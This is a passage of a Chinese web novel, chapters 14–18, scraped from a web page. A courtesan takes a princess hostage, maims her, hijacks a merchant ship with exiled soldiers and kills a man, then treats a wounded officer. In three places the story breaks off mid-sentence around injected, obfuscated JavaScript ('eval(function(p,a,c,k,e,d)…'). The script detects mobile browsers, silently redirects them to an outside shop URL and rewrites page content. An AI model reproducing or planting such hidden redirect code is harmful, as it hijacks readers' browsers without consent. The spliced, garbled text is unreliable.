宋钊一直致力于抹平这些不讨喜的棱角,但他现在知道了,薛殊并不是不善言辞,她只是有意藏拙,藏起那些尖锐的、一针见血的恶意,像锤炼顽铁一样仿佛磨砺,终于等到今日这个机会,只一击就穿透他的要害。 他胸口怒气勃发,耳畔也回响着血液烧灼的滋滋声,咬牙恨声:“……你一个青楼妓子,懂得什么?朝中大事,岂容你一妇人置喙!” 薛殊听到隐隐的异动,是周围的辽东军扭头看来。她的身世被突如其来的揭穿,侍卫服色下隐藏着这个世道最不堪入目的一面,虽然这些军汉什么也没说,但是微妙的、复杂的,不便用言语传达的情绪,透过那一双双眼睛传递出来。 这是意料之中的情形,但薛殊还是不可避免地被激怒了。 “我是妓子不假,但我知道当年努人犯边,是谁浴血厮杀,保我边关不失!又是谁满腔忠义却被泼了脏水,无辜背上里通外国的污名!” 薛殊字句铿锵,话音极有力:“连我这个妓子都明白的道理,你堂堂总督是怎么做的?” “你要烧了那封足以证明他们清白的信,又要杀了这些无辜受屈的将士!” “你为官不仁,不能庇护忠贞之士;为臣不义,只知阿谀逢迎,换得仕途坦荡。宋总督,你堂堂一品大员,连我这个妓子都不如啊!” 于是那些辽东军卒的眼神又变了,所有微妙的、复杂的,不便宣之于口的情绪消失了,取而代之的是一腔激愤,隐隐还有感激。 这才是薛殊想要的。 * 当年那场战事,听说过的已经不多了,尽管它才过去一年多而已。 当时努人进犯宁远,辽东军采取侧翼包抄的战术,由时任参将的踏白营主将云澈率轻骑诱敌,主力部队与五军营配合伏击。 战术本身没有问题,但努军就像料敌先机一样,安排分兵拖住主力部队,又派重兵包抄了云澈后路。 伏击与被伏击的颠倒过来,穆军战况可想而知。 这当然是一场实力悬殊的对决,穆军败了不稀奇,稀奇的是努军如何事先知晓穆军的战术布置? 更稀奇的是,本该力战殉国的云澈居然奇迹般逃脱重围,虽然重伤垂危,虽然身上没一块好肉,虽然被他那匹坐骑驮回来时已经失去意识,但他终究还活着。 那么多人死了,为什么他还能活着? 这被作为云澈里通外国最大的疑点与佐证。 难道他是什么命格奇异的天降星宿,有金甲神人护身不成? 不过怀疑终究只是怀疑,并没有确凿实证,所以云参将侥幸逃过一劫,只是降了一级调离辽东,自此成了江南军中名不见经传的一员军官。 至于当年那场鏖战还剩下多少硝烟与血色,被泼脏水的当事人又作何感想,只有他们自己知道。 15. 第十五章 其实定计之初,薛殊并没有将这二百发配来的辽东军算在计划内——逃亡之事从来以密成,她一个人灵活机动,想藏哪里都可以,但要带上二百人的大部队,实在臃肿累赘,不啻于能跑会跳的行动靶。 但她思忖再三,还是决定冒一次险。 她确实可以一个人逃,但逃了又怎样?宋钊不会轻易放她,一定会上天入地地搜寻,她只能像阴沟里的耗子一样,隐姓埋名,躲躲藏藏。 如果要藏这么一辈子,跟死了有什么区别? 当然,她也可以像丝萝一样,缠在谢怀安这棵大树上,靠着他的庇佑安稳过活。这年头,真正端方的正人君子不好找,能抓住一个是一个。 可薛殊考虑很久,还是放弃了这条捷径。 他那正值青春期,喜欢仗着皇权为所欲为的熊表妹是一个重要因素。更重要的是,薛殊吃够了依附旁人、凡事不由自己的苦头。 人心易变,谢怀安今日是君子,明日还是吗?世道如此,官场污浊,他这朵养在温室,没怎么经过风雨磨砺的白莲花,能遗世独立到几时? 出于这些考虑,薛殊决定赌一把。赢了,这两百辽东军必要领自己的情,说不得就是她自立门户的第一桶金。败了,也不过是一条命,她既上了赌桌,就做好输光一切的准备。 总而言之,以小博大,成败都不算亏。 再说……薛殊低垂眼帘,看着手里泪汪汪的少女。 筹码在手,她未必会输。 “事到如今,我与宋总督没什么好说的,”她冷笑道,“让你的人退开,再为我们准备马匹干粮和弓箭,否则等着给公主收尸吧!” 谢怀安脸色煞白,几番想开口,却没快过宋钊。 “你做梦!”宋钊手指攥得死紧,咬牙狞笑,“今日这些逆犯一个都逃不脱!” 薛殊歪了歪头:“哦,所以你要眼看着公主死在我手里?” 宋钊很笃定:“香凝,你是什么样的人,我会不知道?你做不来这样杀伐狠厉的事,何必勉强自己?” 他缓和了语气,循循善诱:“把公主交给我,以你我的情分,我保你性命无忧。” 然后话锋一转:“再说,你唯一的筹码就是公主,若你真杀了公主,你们还能活吗?” 如果宋钊亲眼目睹薛殊击杀宫女与侍卫的一幕,他一定不敢做出这样的威胁。 可惜他没有。 但公主是亲眼看过的。 她脸色惨白,不知是哽咽还是太害怕了,话音颤抖得厉害:“你……你你放了我,我可以向父皇陈情,替他们……洗清冤屈。” 薛殊挑了挑眉。 这么说的不止她一个,谢怀安早急得冒汗,永宁是她嫡亲表妹,薛殊是他答应庇护周全的女子,纵然闹成这样,他依然想谋求一条两全其美的路径。 “香凝姑娘,你信我,我既知晓了诸位将士的冤屈,定不会坐视不理!”他大声道,“你且放了公主,我们一起商量个法子……我以性命担保,必不会让忠良之士含冤莫白!” 薛殊没说话,她心意如铁,但不能不顾虑盟友的想法——虽然这个“盟友”是她自封的,可若没有二百辽东军震慑,宋钊也好,谢怀安也罢,都未必肯与她好好说话。 薛殊转过头,目光一一扫过那些军汉们的脸,没有动摇,没有欣喜,没有如释重负。他们就那样静默地看着前方,像一堵永远不会呼应的墙。 于是薛殊明白,他们达成了共识。 “我再说一遍,”她用冷笑回应,“备好干粮马匹和弓箭,然后给我滚!” “否则……” 薛殊没把话说完,而是从身侧辽东军手中接过一柄短刃,极具威慑性地架于公主颈间。 公主不仅脸色惨白,嘴唇也消尽了血色。 宋钊却很笃定;“你不敢!” 他的理由很充分:“你眼下唯一的筹码就是公主,杀了公主?你和这些叛军都得粉身碎骨!” 这确实是个悖论,薛殊挟持公主,以天家性命相迫。可反过来说,这也是她唯一可以制衡宋钊与黄国安的筹码,如果她自己主动毁弃,之前的诸多筹谋岂不打了水漂? 这个推论不能说有错,薛殊也的确没想真害了公主性命,但是…… 她手起刀落,血花迸出一簇小小的喷泉,因为下手太快,公主只觉耳畔一凉,甚至没反应过来发生了什么。 直到剧痛后知后觉地贯穿颅脑,她才撕心裂肺地大叫起来:“啊啊啊啊——” 地上汇聚了小小一滩水洼,赤红色的血水里漂浮着一只圆润白皙的耳朵。 宋钊面色骤变,谢怀安嘴唇颤抖。 “我确实不能杀了她,”薛殊微笑着说,“但我可以一刀一刀活剐了她!” “第一刀是右耳,第二刀是左耳,接下来是手指、鼻子,乃至眼珠!” “宋总督,你猜猜看,我剐到第几刀时,这位金枝玉叶才会因失血过多送命?” “你再猜猜看,如果当朝天子知道,你放任我一刀一刀剐了她的宝贝女儿而什么都不做,他会是什么反应?你宋氏九族又是什么下场?” 宋钊胸口剧烈起伏,他的脸色冷如坚铁,他的手指攥紧如弦,他的嘴唇不住抖动,几次张合,却依然没能发出完整的命令。 因为他被薛殊拿捏住了软肋,不管他有多么痛恨,多想将这个女人的脊梁骨打断,给她踩到泥里,让她认清只能献媚自己、依附自己,他都不能拿公主的安危开玩笑。 这么多双眼睛盯着,其中还有个本就跟他不对付的谢怀安,他意气用事的后果就是全家老小一起上断头台。 为了一个薛殊? 显然不值当。 “……照她说的做!” 一句话,为双方的僵持画上了句点。 大营军阵开始骚动,有人去牵马匹,有人准备干粮,弓弩手排着队上前,将强弩和箭筒丢在地上。 这些被卸下的武备立刻成了辽东军的倚仗,他们飞快装备起来,分出三十人搭弓引弦,护住左右两翼。 此时天色将晚,大营四周点起火把,火光投落狭长暗影,在两个泾渭分明的阵营间隔开楚河汉界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849621|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。无数人在“边界”上穿行,将辽东军……准确地说,是薛殊索要的物资送上。于是刚经历过恶战的辽东军抓住这一点宝贵时间,用沾满灰尘和血迹的手,将干饼送进嘴里。 公主被交给别的士卒看管,薛殊作为这一群人里唯一一个懂医术的,蹲下身替受伤将士包扎伤处。 所有人都忙碌着,连公主也没闲着。她右耳伤处已经包裹妥当,人却不消停,抽搐着肩膀哀声哭泣,不时泪汪汪地看向数丈开外的谢怀安。 谢怀安的视线却不在她身上,他和宋钊一样,都自动屏蔽了来来往往的人影。那些灰头土脸的兵丁、打点行囊的民夫,虚化成了背景板,他们的目光穿透逐渐降临的夜幕,定格在将麻布包裹住士卒伤处的女人身上。 “这不应该,”宋钊想,“她是个女人,她是个妓子,她怎么可能跟我讲条件?” 但薛殊偏偏做到了,拿捏住他的软肋,挟制住他的性命,逼着他低头让路。 这让宋钊百思不得其解,越是困惑,越是痛恨。 很快,干粮准备好,马匹也备齐了。休整许久的辽东军突然有了动作,伤重的上马,无伤或轻伤的守在外围,这时就能看出这确实是一支素养极高的军队,哪怕是溃败后的逃亡,依然保持阵型,纹丝不乱。 薛殊挟持着公主走在最里侧,即将走出宁波大营,她仍然没有释放人质的迹象,这让宋钊很不安。 “你要的我都满足了,”他说,“放了公主。” 薛殊很轻松:“放心,等我们安全了,我自然会放了这位金枝玉叶。” 这话不是白说的,她眼珠滴溜乱转,正寻找一条合适的撤退路线。 沿着官道肯定不行,地势平坦,适合发动大规模冲锋。眼下江南军不肯退,一旦她放了公主,立刻要面临被优势兵力包抄的局面。 往西也不成,那里是不见尽头的农田。八月末的时节,新一茬稻子种下,田里自然是蓄满水,一脚下去直没膝盖,江南军甚至不用追击,拉一张渔网就能瓮中捉鳖。 薛殊轻轻皱了下眉,这时,她听到身旁有人用极低的声音说:“上山。” 她蓦地转头,对上一双静而深黑的眼睛。 是那个受伤的辽东军参将!薛殊记得他叫云澈,是个不知被谁扣了黑锅的倒霉蛋。他是不幸的,在激战中挨了一箭。又是幸运的,那一箭看似凶险,但薛殊检查过,刚刚好避开所有关键脏器,只要处置妥当,大概率能捡回一条命。 然而眼下没有拔箭的条件,薛殊只能削断箭簇,放任箭头滞留体内,简单固定伤口后,等到了安全地带再行治疗。 在此过程中,云澈一直安安静静,那双眼睛也未曾睁开,以至于薛殊一度以为他痛晕过去。现在看来,他非但没晕,反而强忍伤痛保持清醒,不动声色地监控局面。 “是个狠角色,”薛殊想,“难怪这么年轻就被提拔为高级将领。” 云参将的确有水平,当辽东军按照他的指令往附近山坡上转移时,追击的江南军脸色变了。 用兵书上的话说,这叫易守难攻。 16. 第十六章 稍微对地理有些了解的,都知道江南这地界没有极险峻的山岭。那些在三维地图上看来温柔起伏的小山包挡不住南下的西伯利亚冷空气,也拦不了千里北上的热气流,但它们可以阻拦住一支追兵的脚步。 山势略有些陡,想爬上去是不太容易的。在前探路的深一脚浅一脚,好几次险险滑落,可一旦摸到坡顶,他们立刻垂下绳索,帮忙拉后面的袍泽上来。 最精锐也是伤势最轻的留在底下断后,他们人数不多,朝外的兵刃却没有丝毫畏怯。当同伴们都爬上坡顶时,他们才将腰刀一别,手脚麻利地攀住山石,猴一样窜上去。 追兵当然不肯善罢甘休,别的不说,这里头还有位金尊玉贵的嫡长公主,若是折在这儿,集所有人脑袋也填不了这口锅。是以,哪怕明知夜晚追击有违常理,他们还是这么做了。 于是迎接他们的是居高落下的箭雨,甚至不用刻意瞄准,照着火光攒动的地方射击,不说一射一个准,三两箭总能换回一颗人头。 这是薛殊不要刀枪斧钺,独独要了弩箭的理由,她原本就是想凭着这些远程武器甩脱追兵。如今稍稍改换地形,弩箭的威力立刻倍增,至少令下头的追兵一时半会儿不敢逼近。 但这不是长久之计。 薛殊心念电转,先为云澈搭了脉,确认脉搏还算稳定,又口头确认道:“你还撑得住吗?” 云澈一直在观察她,反问道:“撑得住如何,撑不住又如何?” 薛殊很干脆:“撑不住,我现在替你拔箭,只是得在这儿多耽搁一会儿,风险也更大。若撑得住,咱们再往前走一段,等甩脱了追兵我再为你从容治伤。” 云澈毫不犹豫:“我撑得住,继续走吧。” 他既这么说,薛殊便信了他,从怀中小瓷瓶里倒出一粒丸药,来不及捏碎蜡封,直接塞云澈嘴里:“自己嚼吧嚼吧咽了。” 那药丸个头不小,云澈没防备:“这……什么玩意儿……” “补损续筋丸,我自己配的,主治跌打损伤,”薛殊说,“本来应该用黄酒送服,现在条件有限,将就点吧。” 她本专业外科,中医纯属兴趣爱好,没指望学出什么名堂,浑然没想到有一天,半吊子赤脚医生会被赶鸭子上架。 云参将不说话了,不是不想说,可怜他没被“友军”的暗箭射死,倒险些被一枚小小的药丸噎死。 * 夜色渐沉,山风呼啸。山坡上的树林静悄悄的,山坡下的追兵仰脖等了好一会儿,确认上头的伏兵都走了,才敢摸黑往上爬。 这一爬才知道,人是撤走了,可不知哪个缺德的,在山路最陡峭的那一段安了个绊马索。追兵走到那儿,先是被绳子绊,那绳索另一端居然连着好几张强弩,机关触动嗖嗖放箭,放倒了好几个倒霉蛋。 剩下的不敢大意,赶紧就地趴倒。这姿势诚然不好看,可性命当前,风度只能往后排。 等到动静消停了,他们才继续赶路,这回比刚才更小心,攀爬速度也不可避免地缓慢下来。这段不算长的路程足足用了小半个时辰,爬上坡顶时,辽东军早不见踪影。 但军中不乏擅追踪的斥候,尤其前两日刚下过雨,山道泥泞,用火把照一照,就能分辨出大部队离开时杂乱的脚印:“这边。” 他们追得不慢,连文官出身的宋钊与谢怀安也脚步奇快。赶路途中鸦雀无声,谁都不曾提及宁波大营中的一幕,那血淋淋的场景像是压在每个人心底的木桶,里头填满了蓄势待发的□□,只需一个话头就能炸得分崩离析。 可眼下追击“逆军”、救出公主才是最要紧的,于是谁都不敢引燃“火药”,只能将裹着匕首的燕国地图小心藏好。 他们追到岔路口,踌躇地停下脚步。犹豫的原因不是岔路,而是每条路都有往里延伸的脚印,每丛脚印深处都有一件公主身上的饰品,或是发钗,或是耳坠,或是戒指。 很明显,有人希望他们分兵追击,用这种方式拖慢追兵的角度。虽不至于颠覆大局,但的确是令人头疼的小花招。 “没什么比公主安危最重要的,”谢怀安说话了,“分兵搜找吧。” 宋钊皱了皱眉,却不曾提出异议。 确实,逆军也好,在逃的妓子也罢,全加起来也没一个永宁嫡公主要紧。 “就这么办吧。” 宋钊同意分兵的另一个理由是不管薛殊和那二百“逆军”怎么逃,都跑不出江南地界。他们有充足的时间调动重兵,将这伙漏网之鱼挨个抓回。 这想法不能说有问题,毕竟江南确实很大,仅仅一夜时间,很难逃出宋总督的手掌心。 但也的确有漏洞,宋钊的所有结论有一个前提,这帮人是靠两条腿跑路。 可如果他们打算换种交通方式呢? 从宁波大营往南北西三个方向,甩脱江南军的追踪都很困难,但此地往东不足二十里就是宁波港,也是江南最大的海港之一。 说起宁波港的好处,后世的地理课本会提到,这里是陆地沿海与长江水道的交汇点,集内河港、河口港和海港于一体,是得天独厚的深水大港。 这里的居民不懂这么多,只知道船多了,往来的行商也多了。他们要吃饭,要住宿,运输的货物要有地方存放,要找人搬运,于是饭馆、客栈、货栈、民夫,这些行当如雨后春笋般冒出头,不说大富大贵,只要从生意人指缝里分得一点油星,就足够一家老小三餐不愁。 但人多也有烦恼,今日你占了我的摊位,明儿个我砸了你的店面,摩擦多了,官府就得介入。于是小吏们在码头附近骂骂咧咧地巡视,一边抱怨事多,一边从小贩本就不丰厚的荷包里掏出铜板和旁的孝敬。 这时入了夜,小摊小贩回家吃饭,沿街店铺也关门打烊。码头附近火光摇晃,那是巡逻的兵丁在来回走动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849622|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这本该是一个平静的夜晚,和过去无数个夜晚没什么区别。自数年前,朝廷下达禁海令,往来蕃商少了许多,寻衅滋事和趁夜作乱的也一夕消失,他们每晚不过例行公事地转两圈,然后找个背风的地方喝酒取乐。 今晚不该是例外,但今夜偏偏成了例外。快到三更时,远处地面轰隆震响,不是贼匪,贼匪没有这么整齐的脚步,也不是本地居民,他们可不会将地面跺得咚咚震动。 巡夜的差吏悚然震动,是军队,只有正规军才有这样肃整有力的步伐。 他只来得及想到这儿,就在火光中看清这些人的脸。果然是一队甲胄鲜明的士兵,人数足有一二百,再走近点,我天!那些人的铠甲上沾了深褐色的污渍,瞧着很像干涸的血迹。 差吏头皮炸了,就要敲响手里的警示锣。领头的士卒却很机灵,箭步上前,一把握住他的手。 “奉总督大人和黄副总命令,执行秘密公务,”他将一面腰牌在差吏眼前亮了亮,光线太暗,时间也太短,差吏没来得及看清,只瞧见一个“宋”字,“吴家商船停在哪?” 这说辞当然有许多破绽,但差吏慌得厉害,一时间分辨不了这么多:“那、那边……” 领头的士卒……可能是个小军官,冲他点点头,往后挥了下手。一行士卒转了方向,朝着差吏指定的方位而去。 直到他们走远,差吏砰砰乱跳的心才平静下来,理智归位,一个被遗漏的细节浮现出脑海。 他盯着那帮士卒离去的方向打量两眼,心里嘀咕说,怎么方才那个“军官”那么瘦小,跟其他人相比,简直跟个娘们似的? 还有,总督那可是像天上云一样尊贵,什么事不能吩咐府尹一声,要不然,让黄副总出面也成,犯得着拿自己腰牌调兵吗? 这些念头在心里上蹿下跳,秉着多一事不如少一事的准则,又压了下去。 他摇头转身,待要回去吃酒,又觉心惊肉跳定不下神。想跟去看看,却怕坏了总督大人的“天机”,回头瞧见不该见的,平白误了一家老小性命。 不知踌躇了多久,忽听远处传来一记极大的水花声,像是潮水拍打着岸头。 可常年巡视码头的人极机警,立刻就听出,这是大船开离码头,浪花拍打在船身上的动静。 差吏猛地一拍大腿:坏了! * 宋总督其实是一个精细人,就比方说,虽然薛殊布下重重障眼法,但他还是透过现象认清本质,准确找到了被藏在长草深处的永宁公主。 公主很狼狈,身上的值钱物件都被搜走,连那件大红织金的外袄也没放过。宋钊与谢怀安寻到她时,她被绑成一团藏在灌木里,哭太久的眼睛已经流不出泪,袜子堵住的嘴里呜呜作响。 谢怀安连忙给她松绑,又脱了外袍裹住她。永宁公主惊魂未定,趴在谢怀安怀中嚎啕大哭:“表哥,我只以为再也见不到你了!” 17. 第十七章 谢怀安有点尴尬,他跟永宁都大了,就算是嫡亲的表兄妹,也不该有这般亲昵举止。但永宁哭得厉害,他不好直接推开,只能安慰道:“公主受惊了,都是臣的过错。” 宋钊早携着黄国安跪在一旁请罪:“臣救驾来迟,请公主恕罪。” 永宁趴在谢怀安怀里哭了会儿,被挟持大半天的惊惧惶恐都随眼泪泻了个干净,天家贵女的矜持傲气重新占据上风,更涌上一股无名怒火。 她接过帕子擦了擦眼,坐直身体:“那群劫持本公主的逆犯可曾抓到?” 谢怀安听到“逆犯”,不易察觉地皱了皱眉。但眼下不是争辩这个的时候,只听宋钊神色自如道:“公主恕罪,尚未。但请公主放心,臣已下令封锁各处隘口,任逆犯插翅也休想逃脱!” 公主却不满意,她是尊贵的嫡长公主,宫中贵妃都不敢说半句硬话,自打出生后从没吃过这么大的亏,现在右耳伤处还在隐隐作痛。 “抓到他们,”她咬牙切齿,“我要父皇将他们碎尸万段!” 宋钊很懂得如何应付领导的愤怒,一连串诸如“贼子伤及公主玉体万死难辞其咎”的屁话已经排好队列,突然有人插了个队。 宋钊的一名亲随到了跟前,附在他耳畔低声说了句什么。 于是接下来,公主有幸目睹了江南版变脸,从容笃定的微笑从宋钊脸上卸下,取而代之的是两腮紧绷、目眦欲裂。 “该死!”他低声道,“他们居然打着海路的主意!” * 宋总督用错了主语,至少在“打海路主意”这件事上,真正的策划者只有薛殊一人。 直到临近宁波港,闻到海水的咸腥味,这帮稀里糊涂被带飞的辽东军才后知后觉反应过来。 不是没人质疑,比如辽东军中那个看起来很像副手的人物,中等身材,比云澈略大几岁,相貌端正气度沉稳,就用很客气的 语气与薛殊商量,说他们这些人都是骑兵出身,一不熟悉海图,二不擅长海战,三不会驾驭海船,若是出海遇到风暴,或是被大穆水师包围,可真成了被瓮子扣住的那只老鳖。 薛殊反问:“你在陆上走就不会被扣瓮子了?” 副手无语。 薛殊再问:“宋钊为浙直总督,可调精兵不下数万。你们战力再精,人数摆在这儿,能跟数万精兵抗衡?” 副手继续无语。 薛殊三问:“普天之下莫非王土,咱们这一回可是连总督带总兵都得罪光了,外加一个嫡嫡道道的公主殿下。留在陆上,你能逃去哪?” 副手无语完败。 没话说的副手退了,有话说的云澈暂时开不了口,于是这二百军士按照薛殊的计划,借浙直总督这面幌子混进码头,直奔吴家商船而去。 虽然巡夜的差吏只指了大概方向,但这并不难找,因为吴家的船乃是停泊码头中最大,船型也最特殊的一艘。 它看起来很像是福船,也保留了中式硬帆,这让它成功混迹于一干船舶中,没有引起太多骚动。可再往下,那流线型的船体、独树一帜的龙骨构架,怎么看都不是大穆原生的基因。 简单说来,这种吸收了西方血脉的船体收纳空间大为增加——翻译成人话就是能载更多货物,航行速度也窜上一个台阶,十分适合远航任务。 尤其现在天色已晚,却仍有民夫将箱子运往船上,不啻于一条人肉指路标。顺着“路标”逆流而上,薛殊轻易寻上吴家商船的负责人。 唔,瞧这人打扮,只怕在吴家内部地位不低,保不齐是个主事,不然也穿不起丝绸衣裳,配不了青白玉佩。 主事很有风度,也可能是早预料到深夜来客这一出,彬彬有礼地寒暄:“可是宋总督麾下?佟总督派人备了好茶,请您入内一叙。” 因为这句话,四周护卫不曾阻拦薛殊,放她上了甲板。 当然,只有薛殊一人,其他人都被健仆拦在船下。 薛殊三两步上得近前,脸上堆着温和的笑,袖口晃了晃,一把冷冰冰的匕首抵住吴家主事细皮嫩肉的脖颈。 “让我的人上船,立刻开船,”她大气不喘一口地接连下达两条指令,“否则,当心你的小命!” 吴家主事懵了,这跟预演好的路数不一样啊?但他只稍作犹疑,脖颈就是一凉,紧接着炸开尖锐痛楚,是皮肉被割裂,而那刃尖离乱颤的血脉只差一线! 主事三魂没了七魄:“有话好说!好说啊!” 薛殊厉声:“放人!开船!” 如果主事稍稍冷静,就能听出她语气中强压的急躁。 如果他略有些血气,也不会容忍自己被人用这种方式胁迫。 可话说回来,他如果有临危而不惧的定力、威武不能屈的血性,又怎会甘心当一个小小的主事家仆? 是以,当差吏察觉不妙,一边鸣锣一边大呼小叫地追到岸边时,商船已经驶离了码头。 * 桨手们是第一个遭殃的。 已经敲过三更,他们本该在舱房里好梦正酣。虽然舱室低矮又逼仄,可劳累一天的人铺盖一摊,被子一卷,依然能睡个好觉。 可就是有这么不讲究的人,站在走廊里“梆梆“敲锣,将他们全吵醒。怒气冲冲的桨手冲进走廊,打算跟扰人清梦的混球理论一番,却被迎面一排雪亮的长刀逼退了怒火。 接下来的事像是噩梦,他们被凶神恶煞的兵卒用刀押着进了最底层的舱室,船桨拨开海水,黑漆漆的浪头冲撞着船身。他们在巨浪间抛上抛下,而那些看上去恶狠狠的兵丁就这么半抽着腰刀,威慑力十足地走来走去,随时准备给撸桨不积极的废物点心后脖颈上狠狠来一下。 桨手们不敢多看,闷头一气用力开撸。 桨手很重要,但在这条中西合璧的商船上,他们并不是最关键的角色。最关键的角色操纵风帆,这意味着他们必须依据罗盘定位和无时无刻不在变化的风向调整航线,确保船只安全穿越茫茫大洋。 现在,这个决定成败的关键人物被带到薛殊面前。 “从现在开始,这艘船上的每个人、每根木板,包括你,都属于我,”她干脆利落地道明来意,“听我的话做事,保你富贵荣华。敢玩花样,我就打断你的手脚,丢进海里喂鱼。” 她毫不客气地照抄了海盗做派,并且因为那一身血染的戎装一点不显违和。火长唯唯诺诺地低下头,到底跑海久了,颇有些见识,那双眼睛极不老实,暗搓搓地寻找吴家主事的身影。 薛殊看穿他的心思,笑了笑,朝后摆了摆手。 两个五花大绑的男人押了过来,一个是吴家主事,另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849623|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个四十上下,同样穿着丝绸衣裳,观形容却比吴家主事有气度多了。 他的脾气也比吴家管事暴躁许多,虽成了动弹不得的粽子,却在有限的空间内极力挣扎,口中怒吼:“好大胆的贼人,可知我是谁?得罪了佟大人,脑袋不想要了!” 薛殊偏头瞅瞅他:“两广总督佟允中?” 那人倨傲挺胸:“既知我家大人是谁,还不……” 他话说到一半,突然没了音。吴家管事偷摸抬头,只见此人眼睛瞪得老大,颈间一线血痕……嗯,不说薄如蝉翼,倒像是被谁泼了一碗红汤。 薛殊啧了一声,这招是赵文笙教的。她考核时成绩不错,拿待宰的年猪练手,干干净净一条道子,半点血星也没溅出。 可见是许久没练,手生了。 诶,提到赵文笙,她是不是忘了什么? 薛殊摇了摇头,眼前这情形由不得她分神:“尸体丢进海里,记得脚上拴好重物,处理得干净些。” 跟着她的辽东军露出十分古怪的眼神。 身为久经杀阵的老兵,他当然不会为了一两个死人动容,可杀人的不是什么屠夫悍将,而是个年纪轻轻的小姑娘,瞧着十五六岁的模样,娇滴滴的细皮嫩肉,抬手就是一刃封喉。 不是说这招他不会,可他是什么人,薛殊又是什么人?你让红袖添香的妙龄歌女扛着铜琵琶唱大江东去,这对劲吗? 薛殊觉得很对劲,她杀了人,抛了尸,用吴家管事抖成筛糠的丝绸衣角擦了擦刀上血迹,和蔼可亲地看向从刚才开始就两腿战战的火长。 “我的话,你听清了?” 那抛尸溅起的水花还没完全平息,火长如何听不清?他恨不得自己是只鸡,只管低头啄米:“听清了……不能再清楚。” 薛殊满意微笑:“我要南下,你给我掌帆,若是一路顺遂,还有重赏。” 说着,从怀里摸出个沉甸甸的金镯子丢过去。 镯子是那据说是宋钊未来夫人的大家小姐赏的,极素的一个圆环,无甚装饰,唯一的好处是实心的,份量十足。火长见了金子,眼睛登时圆了,手忙脚乱地接在怀里,看向薛殊的眼神也亲切了许多,恰似久旱麦苗得逢甘霖滋润:“您放心,这路小人熟着呢,保准出不了差错。” 薛殊使了个眼色,自有辽东军盯着那火长操纵风帆。她又转过头,似笑非笑地瞧着吴家管事。 甲板上的血迹还新鲜着,吴家管事腿软得站不住,噗通一声跪下了:“小人……小人愿为英雄效力,只求您老大发慈悲,饶小人一条贱命!” “小人上有八十老母,下有八岁幼儿,老小生计都指望小人一人,我们全家给您立长生牌坊了!” 一边唱念俱佳,一边就着五花大绑的造型砰砰磕头。 薛殊杀人是为立威,目的达到,自没必要多伤人命:“收拾间干净安稳的舱房出来,我有用途。” 吴家管事成了第二株被甘霖滋润的麦苗,忙不迭应道:“是是是,小人这就去。” 舱房不是给薛殊自用,而是用来安置云澈。虽然这一路上,那壮的像头熊的汉子都将他负在背上,可连颠簸带失血,强撑到现在,他实已是奄奄一息。 就算这样,他仍不肯失去意识,目光好似不动如山的船锚,牢牢钉住一双眼皮。 18. 第十八章 面对伤员,薛殊温柔了一点点:“要给你打晕吗?” 云澈用眼神表现出对这个提议的不屑。 薛殊遂不多言,命人取来清水洗净双手,又从怀里取出一副油布包裹的刀具,以烛火消毒。 刀具很袖珍,是用铜银合金铸造的,为此花销了薛殊给青楼打工的大半积蓄。此外还有一套微弯的银针与羊肠裁制的线,同样高温消毒,不知作何用途。 云澈尚无反应,一旁的副手先看直了眼。他久在军中,见惯军医治疗外伤,从没见过这等精细的用具,明知场合不对,仍忍不住多瞟了几眼。 然后他眼睁睁看着那小姑娘扯开自家将军衣襟,上手在胸膛处摸了两把。 副手后脊梁骨顿时抻紧了。 薛殊却不知他瞎想些什么,她一进入“治疗模式”,眼睛里就只有那具胸膛,伤口处绽开的皮肉纹理,以及深入血肉的半截箭头。 先用刀具割开皮肉,再以银针封穴止血,将要拔箭时,薛殊突然抬头:“你今年多大?” 云澈不知她拔箭的当口问这个做什么:“……二十有一。” “娶亲了吗?” “当然没……” 话没说完,他“唔”了一声,只听“当啷”脆响,一截赤红色的箭头被丢进铜盆。 拔箭手法之快、狠、准,几乎炫出残影。 副手憋了半晌的气差点噎住,倒腾两下才缓缓吐出。 但这还没完,还要缝合伤口,做好引流,再撒上干净的止血药粉。针线在皮肉里穿行时,副手终于明白薛殊为何一开始提议打晕云澈,他不知被针线缝补的自家将军是何感受,反正他这个旁观者有点牙疼。 好容易等薛殊缝完,这位温厚知礼的副手端正抱拳:“今日承蒙姑娘相救,此恩此德,辽东军上下铭记于心。” 薛殊想说要报恩简单,你们把自己卖给我就行了,可也知道这主意现阶段装心里想想还行,真要不自量力说出来,非给这帮沙场老兵笑掉大牙不可。 哪支军队,哪怕是打散编制的在逃残军,会乐意追随一个女人? 他们的主将还好端端地喘着气,而薛殊也不是什么金枝玉叶天家贵女,没有皇权背书,出身秦楼楚馆,又赶上这么一个封建礼教登峰造极的时代,她的debuff已经叠满了。 